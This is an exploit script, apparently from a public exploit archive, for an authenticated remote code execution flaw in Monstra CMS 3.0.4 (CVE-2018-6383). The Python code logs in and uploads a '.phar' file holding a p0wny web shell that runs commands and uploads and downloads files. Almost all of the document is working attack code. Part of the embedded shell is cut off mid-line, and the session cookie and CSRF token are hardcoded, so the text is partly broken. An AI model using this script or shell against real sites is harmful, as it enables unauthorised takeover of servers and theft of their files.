# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) # Date: 03.06.2021 # Exploit Author: Ron Jost (hacker5preme) # Vendor Homepage: https://monstra.org/ # Software Link: https://monstra.org/monstra-3.0.4.zip # Version: 3.0.4 # Tested on: Ubuntu 20.04 # CVE: CVE-2018-6383 # Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-6383-Exploit ''' Description: Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code by uploading a file, a different vulnerability than CVE-2017-18048. ''' ''' Import required modules: ''' import argparse import requests ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='Exploit for CVE-2018-6383') my_parser.add_argument('-T', type=str, help='Target IP') my_parser.add_argument('-P', type=str, help='Target Port') my_parser.add_argument("-U", type=str, help="Monstra CMS Path") my_parser.add_argument('-u', type=str, help="Username") my_parser.add_argument('-p', type=str, help='Password') args = my_parser.parse_args() target_ip = args.T target_port = args.P Monstracms_path = args.U username = args.u password = args.p ''' Exploit: ''' # Cookies: session = requests.Session() url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php' cookies = session.get(url).cookies.get_dict() value = cookies['PHPSESSID'] cookies = { "__atuvc": "9%7C22", 'PHPSESSID': 'sga7s1jb0o3b7dlueh5soin8a9' } # Construct authentication header: headers = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://" + target_ip, "Connection": "close", "Referer": "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php', "Upgrade-Insecure-Requests": "1"} # Construct authentication body body = { "login": username, "password": password, "login_submit": "Log In"} x = requests.post(url, headers=headers, cookies=cookies, data=body) # Construct Exploit link: url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php?id=filesmanager' # Construct Exploit header: header = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------27822155982314896762160847658", "Origin": "http://" + target_ip, "Connection": "close", "Referer": "http://" + target_ip + Monstracms_path + 'admin/index.php?id=filesmanager', "Upgrade-Insecure-Requests": "1" } # Construct Exploit data: burp0_data = "-----------------------------27822155982314896762160847658\r\nContent-Disposition: form-data; name=\"csrf\"\r\n\r\n1e71963993909d612c40962b401c556b70e9bb3c\r\n-----------------------------27822155982314896762160847658\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?>\n\n\n\n \n \n p0wny@shell:~#\n \n